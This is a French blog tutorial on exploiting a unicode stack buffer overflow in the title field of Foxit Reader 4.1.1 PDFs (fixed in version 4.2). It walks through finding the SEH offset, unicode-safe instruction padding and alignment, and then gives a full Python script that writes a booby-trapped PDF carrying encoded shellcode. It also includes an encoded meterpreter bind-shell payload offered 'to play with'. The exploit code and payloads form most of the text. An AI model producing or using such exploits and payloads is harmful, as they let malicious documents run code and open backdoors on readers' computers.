Greetz to corelancod3r, Ivanlef0u, Zenk-Security, HackBBS and a lot more of other people for hacking, helping, tips, etc :).
Salut!
Aujourd'hui je vais vous parler de l'exploitation de Foxit Reader 4.1.1. En effet, ce lecteur PDF est susceptible à un stack-based buffer overflow dans le champ du titre d'un PDF. La faille a été corrigée dans la version 4.2.
J'ai basé mon analyse sur celle faites par Sud0 sur le site de corelancod3r car je voulais avant tout jouer avec l'unicode :) (et puis un article français en plus ne fera pas de mal ;)).
Let's go!
Préparatifs
Pour triggerer cette vulnerabilitée, on a 2 pré-requis :
- DisplayDocTitle à true
- un titre plus que long
Comme à notre habitude, on génère un pattern metasploit :
msf/tools/pattern_create 10000 > msfpattern.txt
Au lieu d'utiliser le PoC présenté il y a quelques jours car je ne trouvais pas pratique d'éditer le fichier à chaque fois pour faire mes ajustement, j'ai préférer me générer mes PDFs avec Python et ReportLab.
Il faut tout d'abord patcher votre reportlab pour ajouter la directive DisplayDocTitle :
--- ./pdfdoc.py 2010-11-17 15:30:00.572930001 +0100 +++ /usr/lib/python2.6/dist-packages/reportlab/pdfbase/pdfdoc.py 2010-11-17 15:37:21.662930001 +0100 @@ -702,6 +702,7 @@ HideWindowUI=checkPDFBoolean, FitWindow=checkPDFBoolean, CenterWindow=checkPDFBoolean, + DisplayDocTitle=checkPDFBoolean, NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()), Direction=checkPDFNames(*'L2R R2L'.split()), ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
Une fois tout celà patché, on est fin prêt à générer notre fichier PDF avec le script suivant :
#!/usr/bin/python # author : m_101 import sys from reportlab.pdfgen import canvas from reportlab.lib.units import inch if len(sys.argv) < 2: print "Usage : %s output" % sys.argv[0] exit(1) # filename filename = sys.argv[1] # get msfpattern fp = open('msfpattern.txt', 'r') msfpattern = fp.read() fp.close() print 'Creating ' + filename + ' exploit file' # create pdf pdf = canvas.Canvas(filename) # document characteristics pdf.setTitle(msfpattern) pdf.setSubject('Foxit 4.1.1 unicode title overflow') pdf.setAuthor('m_101') pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln # define a large font pdf.setFont("Helvetica", 80) # say hello (note after rotate the y coord needs to be negative!) pdf.drawString(inch, 10*inch, "Not hacked :)") pdf.showPage() pdf.save() print "Have fun :)"
Triggering the vuln'
Une fois notre fichier généré, on lance Foxit dans ImmunityDbg et Foxit crash à l'ouverture du fichier :
On remarque que notre seh handler contient une chaîne de type 00xx00xx : de l'unicode!!!
Pour trouver l'offset, on utilise le plugin de corelancod3r : pvefindaddr
On écrase donc nseh au bout de 540 octets.
Avant de continuer, une petite base sur l'exploitation unicode.
Exploiting with unicode payload
Pendant longtemps, les gens ont pensés que l'exploitation unicode était impossible et Chris Anley a montré le contraire :).
Le trick dans l'exploitation d'un bof unicode est d'utiliser des instructions de 1 octet pour padder au besoin et aller avec des instructions de 3 octets.
Par exemple :
5a pop edx 00 41 00 add [ecx], alOu encore :
6a 00 push byte 0x0 58 pop ax 00 45 00 add [di+0x0], alOn peut voir que dans les deux cas on doit avoir un pointeur valide ou sinon nous aurons un "Access Violation" ou SIGSEV.
On peut considérer une instruction comme nop dès lors qu'elle n'influe pas sur notre exploitation à proprement parler. Les instructions de 3 bytes montrées peuvent servir à patcher la mémoire aussi.
Pour l'exploitation avec une payload unicode, on ne peut tout simplement pas faire de JMP directs. On a des POP, PUSH, XOR, ADD, RET et quelques autres instructions. On oublie les conditions
On peut également bridger et re-écrire directement dans la mémoire : on contrôle des pointeurs! :) Le principe évoqué dans Building IA32 'Unicode-Proof' Shellcodes est de patcher la mémoire pour reconstruire notre shellcode ^^.
Au final, les deux payloads vont se rencontrer et on continue notre exécution dans notre payload reconstruite. Le principe est illustré dans The art of exploitation au chapitre 0x691.
Vous pouvez ainsi commencer à coder en full alphanumeric puis patcher avec la technique ci-dessus. Bon évidemment coder une full payload en unicode est contre-productif, on va utiliser des encodeurs style alpha2 :).
Pour plus de détails, je vous invite à lire les papers bien écrits et détaillés que j'ai mis en liens à la fin de l'article.
Il nous faut trouver une addresse compatible unicode et qui soit aussi des instructions.
Lancer la commande suivante sous ImmunityDbg:
!pvefindaddr p1Ensuite filtrant uniquement ceux qui nous intéressent (je suis sous Linux avec une VM VirtualBox) :
cat ppr1.txt | grep -i unicode | egrep -vi "(maybe|ansi)" > ppr-unicode.txt
Perso' j'ai choisi l'addresse suivante : 0x004d002f
2f das 00 4d 00 add [ecx], clIl nous faut donc une adresse valide pour ECX ou on aura droit à un AV.
59 pop ecx 00 41 00 add byte [ecx], al
On va ici utiliser l'encodeur de metasploit :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/exec CMD=calc R | ./msfencode -e x86/alpha_mixed -t raw | ./msfencode -b "\x00" -e x86/unicode_mixed BufferRegister=ESP -t raw [*] x86/alpha_mixed succeeded with size 456 (iteration=1) [*] x86/unicode_mixed succeeded with size 1038 (iteration=1) TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBDIGvJ9I6FyD6L4QNB6PYQ9Q9PIPIQ9Q9Q9PIPIPIQ3PCQ3PCQ3PCP7PQPZQZQ1B8PPP0Q1P0Q1BKQ1Q1B1P2Q1Q2P2Q2Q2P0Q2Q2Q1Q2PXB0P8Q1Q2PuPJPIPIBLPMP8PKP9Q7D0Q7BPQ5B0PQD0PNBIPJQ5Q6PQPJBRB1PtPNPkPBPrPPP0PLPKB0B2Q6PlPLPKPQPBQ5Q4PNBKPCPBPDBHPDPOPHP7B1PZQ4C6Q5PaPIPoPEQQPKPpPLBLPGPLPQPqPCPLQ7QbQ6PLPQP0PJPaPJPoQ6PmQ7D1PKD7Q8BBPLP0PQQ2Q6P7PLPKPBD2PBP0PLPKB1B2Q7PLQ6C1PHB0PNBKPQB0B1PhPOD5POP0Q4P4Q3QjQ6PaPNP0PFP0PNPkPCPxPDPXPNPkPPPXPEPpQ6PaQ9Q3PIQcPGPLPPQ9PLPKPFQDPLPKQ5PQPJPvPEQQPKPOQ5QQQ9B0PLPlPJC1Q8POPDPMQ3P1PKCGQ7Q8PKPPB1PeQ8QdQ7QcB1BMPKPHPEPkB1BMQ4C4Q2PUPMP2Q2D8PLPKQ6P8PDQTPEPQPNP3Q2PFPNPkPDPLB0PKPNBKQ3C8Q7PlPCP1PNP3PNBKPFBDPLPKQ3P1PNP0POCIPQQDB1P4Q7QDPQPKB1PKB0PaQ2PyPCQZQ6P1PKPOQ9D0PQPHPQPOPBQjPNPkQ7QRPJPKPKP6Q3BMPQPzPGBQPNBMPOD5POPIPEB0PCP0Q3P0PPPPPQPxB0P1PLPKPPBOPMPWPIPoQ8B5POPKPJPPPHP5PLBBQ2D6PCB8PLPfPLPUPOPMPMPMPKPOPNP5PGPLQ7PvQ3PLQ4PJPOBPPIPkPMP0PDP5PGPuPOPKPGP7PEPCQ4P2PPBOPQQjPCP0PBQcPIBOPKPeQ2Q3B0PaB0BLPEP3Q7PpPEQJQ1Q1AA
Pour l'encodeur metasploit ou alpha2, il faut padder le buffer et reajuster pour que le registre choisi pointe directement sur le premier octet de la payload unicode.
Une fois cette chose faites, on relance notre sploit.
On se rend compte qu'on a un "Access Violation" à cause d'un pointeur non valide, or on sait que ECX est valide :).
On change donc le premier U en a (0x55 => 0x61) pour avoir un pointeur valide.
Notre registre pointe désormais sur notre payload unicode et nos pointeurs sont tous valides, pawn!! :)
The Exploit
Le sploit :
#!/usr/bin/python # author : m_101 import sys from reportlab.pdfgen import canvas from reportlab.lib.units import inch if len(sys.argv) < 2: print "Usage : %s output" % sys.argv[0] exit(1) # filename filename = sys.argv[1] # 59 pop ecx # 00 41 00 add byte [ecx], al nseh = "\x59\x41" # nops # 2f das # 00 4d 00 add [ebx+0x0], cl seh = "\x2f\x4d" # pop pop ret # get the interesting values fixaddr = "\x5a" # 5a pop edx ; we pop buffer address fixaddr += "\x41" # 00 41 00 add [ecx+0x0], al ; nop fixaddr += "\x5c" # 5c pop esp ; we pop nseh address fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop # fix base address to make it point to the beginning of shellcode fixaddr += "\x61" # 61 popadd fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop fixaddr += "\x41" # 41 inc ecx fixaddr += "\x41" # 00 45 00 add [ecx+0x0], al ; nop # ecx = 0x00350035 (writable address after popadd) addr = '55N' # 35 00 35 00 4e xor eax, 0x4e003500 addr += 'A' # 00 41 00 add [ecx+0x0], al # payload # encoders : x86/alpha_mixed + x86/unicode_upper calc = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBCYGuIJHIFyCEJTB8PPQIQ9PIQ9Q9Q9PIPIPIQ9Q9PCQ3Q3Q3Q3PCP7PQPZPjQ1B8PPP0Q1P0Q1PkQ1Q1PQP2Q1Q2P2PBPBP0Q2PBQ1Q2PXB0P8Q1Q2D5PJPIQ9PlPICHPKP9Q7BPPGPpQ3P0Q5P0POD9PKPUQ4PqPNP2PEP4PNPkPFP2B0P0PLPKPFP2PDPLPLPKPFP2PBP4PNPkPPD2Q7QHPDPOPLCGPBPjQ6PFPPP1Q9PoQ5PaPIB0PLPlQ7PLPEP1B1BLPDQ2Q4PlB1P0PJPaPJBOQ6PmQ5B1PJC7PID2PJB0B1Q2PCBGPNPkB0PRPFPpPNPkPCBRPGPLPFC1PNP0PNPkQ3D0PCQ8PLQ5PIB0PCQ4Q2BJQ3P1PNP0Q2PpPNBKB0PHPEQ8PLPKPBPxQ5BPPGPqPKPcPKQCQ5PlB0Q9PLPKQ7PDPLPKPFC1PNP6Q4PqPKPOQ5PaQ9B0PNPLPOP1Q8POQ4PMQ3P1PKBWQ7PHPKB0Q3Q5PKPDPGD3B1BMQ8PxQ5BKPCPMPGPTB1PePJQ2PQQ8PNBKQ6P8PEPtPGPqPKQSB0QVPNBKPFPlPBPkPLPKPCQXPEPLQ6C1PIPCPNBKQ6PdPLPKQ5B1PJPpPLQ9Q7P4PFPDB1P4PCPkPQPKQ3B1Q3C9PCBJPBD1PKPOPMP0PBCHPCPoQ3BJPLPKQ2P2PJPKPLPFQ3PmQ3QJPEPQPLPMPMPUPLCIQ7PpQ7D0Q7D0B0PPPBQ8PFPQPNPkPPBOPMPWQ9PoQ9PEPOPKPLP0Q8P5Q9P2B0QFQ5P8PNPFPJP5POPMPMPMPIBOPKQUPEPlQ7QfQ3PLQ7QjPMB0PIBKPKB0B0CEPCP5PMBKQ7P7PEPCPDP2B0PoPPPjPCP0PBD3PKPOPNP5Q3PSQ3PQB0PlPCB3Q5B0PFQZQ1Q1AA' # trigger = "A" * 540 title = trigger + nseh + seh + fixaddr + addr + calc print 'Creating ' + filename + ' exploit file' # create pdf pdf = canvas.Canvas(filename) # document characteristics pdf.setTitle(title) pdf.setSubject('Foxit 4.1.1 unicode title overflow') pdf.setAuthor('m_101') pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln # define a large font pdf.setFont("Helvetica", 80) # say hello (note after rotate the y coord needs to be negative!) pdf.drawString(inch, 10*inch, "Not hacked :)") pdf.showPage() pdf.save() print "Have fun :)"
Ce script génère un fichier pdf avec le lancement d'une calculatrice :
Si on veut plus qu'une calculatrice, l'encodeur metasploit n'est pas adapté car il génère de trop grande payload.
L'encodeur alpha2 original est plus efficace.
Voilà la payload meterpreter pour ceux qui veulent jouer ^^ :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b ‘\x00′ -t raw > ~/data/exploit/meterpreter_tcp.bin m_101@m_101-laptop:~/data/exploit$ ./alpha2 --unicode esp < meterpreter_tcp.bin TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBLsI9WNNHnnwJrpXZYNHYqdNDZTX1nkQORcWWYtnQT7ZoLC47LOzBIMWBNrJyKmNkdcQj5D6NSbdhgRUke73LaqxnLkl6WWKjWOBZVoNMzhLpMYkSsYYdJUxOOYtV3YZm3n1hvP7mFsPykEm0mKnKTnNotNwlIKLRLSYLLKLYnKVFNNINGhKlNQlOd0lj1i4wKJ2TNy5vLobGW5qqoTOlonjpDM4lUOKrJQRC5N4JkL2ZWwLmmOm9mCPNsrLJ9PnLRXsnzTSgLKNX7lnFGoiORwo5V4BtyoLiLkpxSDR5SpQoqJwol2OkcN5kW1XBmWqQM7JZMgVm9hOnOLylHmgiKopiuqz7SopiNmBOZLOkvrYKpzhP3kWU3MN74vX2lQK6Mi93nXNMrMRsPRu4LNcHURMYYKlol2reedBofBQUQUpxeXaYnz68Z3VChss8jPkoDTQx9vDqnXit9P9KZ0OPWKsCJs6W0t7sbL5MLi7LyjtiO4pzKTLjqSKxW9tBySWKEQLVlR7LjOONmsNKpevOLfhMBZzZJ2LMxoKQBTnyqwlKEQ4myxl354fEsQ1Qs6XRXmQUPfO288ZObFOZklntNUbOosmqMZOLjV2JJz4PPQZc3pVoSf4LQKMjKw8ptJlCTmYp6YaW2MK6AChangez le premier U en a et tout ira bien :).
Have fun,
m_101
Ressources :
- The venetian exploit
- Practical Win32 unicode exploitation
- Building IA32 'Unicode-Proof' Shellcodes
- Writing ia32 alphanumeric shellcodes
- Alpha2 encoder
- Peter Van Eeckhoutte's Exploit writing tutorial part 7 : unicode from 0x00410041 tocalc
Références :
- Foxit Reader 4.1.1 Stack Overflow Exploit - Egghunter Mod
- Foxit Reader v4.1.1 Stack Overflow Vulnerability (PoC)
- Sud0 write-up
Tools :
- pvefindaddr
- ImmunityDbg
Aucun commentaire :
Enregistrer un commentaire